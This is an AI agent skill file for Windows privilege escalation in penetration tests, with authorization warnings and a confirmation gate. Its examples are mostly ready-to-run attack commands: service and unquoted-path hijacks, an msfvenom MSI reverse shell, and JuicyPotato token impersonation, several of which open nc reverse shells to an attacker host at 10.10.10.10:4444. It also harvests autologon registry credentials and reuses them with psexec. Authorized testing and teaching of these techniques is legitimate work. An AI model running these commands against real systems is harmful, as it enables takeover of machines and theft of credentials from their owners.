---
name: windows-privilege-escalation-11f886249961
description: "Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements."
risk: offensive
source: community
author: zebbern
date_added: "2026-02-27"
---

> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.

> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

# Windows Privilege Escalation

## Detailed Guide

Read [the detailed guide](references/detailed-guide.md) before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.

## Constraints and Limitations

### Operational Boundaries
- Kernel exploits may cause system instability
- Some exploits require specific Windows versions
- AV/EDR may detect and block common tools
- Token impersonation requires service account context
- Some techniques require GUI access

### Detection Considerations
- Credential dumping triggers security alerts
- Service modification logged in Event Logs
- PowerShell execution may be monitored
- Known exploit signatures detected by AV

### Legal Requirements
- Only test systems with written authorization
- Document all escalation attempts
- Avoid disrupting production systems
- Report all findings through proper channels

## Examples

### Example 1: Service Binary Path Exploitation
```powershell
# Find vulnerable service
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# Result: RW MyService SERVICE_ALL_ACCESS

# Check current config
sc qc MyService

# Stop service and change binary path
sc stop MyService
sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc start MyService

# Catch shell as SYSTEM
```

### Example 2: AlwaysInstallElevated Exploitation
```powershell
# Verify vulnerability
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both return: 0x1

# Generate payload (attacker machine)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi

# Transfer and execute
msiexec /quiet /qn /i C:\Users\Public\shell.msi

# Catch SYSTEM shell
```

### Example 3: JuicyPotato Token Impersonation
```powershell
# Verify SeImpersonatePrivilege
whoami /priv
# SeImpersonatePrivilege Enabled

# Run JuicyPotato
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

# Catch SYSTEM shell
```

### Example 4: Unquoted Service Path
```powershell
# Find unquoted path
wmic service get name,pathname | findstr /i /v """
# Result: C:\Program Files\Vuln App\service.exe

# Check write permissions
icacls "C:\Program Files\Vuln App"
# Result: Users:(W)

# Place malicious binary
copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"

# Restart service
sc stop "Vuln App"
sc start "Vuln App"
```

### Example 5: Credential Harvesting from Registry
```powershell
# Check for auto-logon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# DefaultUserName: Administrator
# DefaultPassword: P@ssw0rd123

# Use credentials
runas /user:Administrator cmd.exe
# Or for remote: psexec \\target -u Administrator -p P@ssw0rd123 cmd
```

## When to Use
This skill is applicable to execute the workflow or actions described in the overview.


---
Source attribution: FrancoStino
Original project: https://github.com/FrancoStino/opencode-skills-collection/blob/9a4d25d6b2b25441e049bb2ccb479d0f9fa67c70/bundled-skills/windows-privilege-escalation/SKILL.md
License: MIT
License information: https://opensource.org/license/mit
Original upstream instructions; downloaded from Mega AI Hub.

## Upstream license notice

MIT License

Copyright (c) 2026 Davide Ladisa

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.



# Mega AI Hub resource metadata

Creator / publisher: FrancoStino
Original project: https://github.com/FrancoStino/opencode-skills-collection/blob/9a4d25d6b2b25441e049bb2ccb479d0f9fa67c70/bundled-skills/windows-privilege-escalation/SKILL.md
Attribution basis: Source repository record

Fields of work: Development & Engineering
Roles: DevOps / SRE, Security Engineer
Specialties: Backend
Tools: Mimikatz, Powerup, Seatbelt, Winpeas
Country applicability: Country not specified
Classification basis: Source catalog labels
Instruction SHA-256: d7648fe4d14361e3f113b18c520991b1f0d12a802d5d2bdfa989f2f62782e497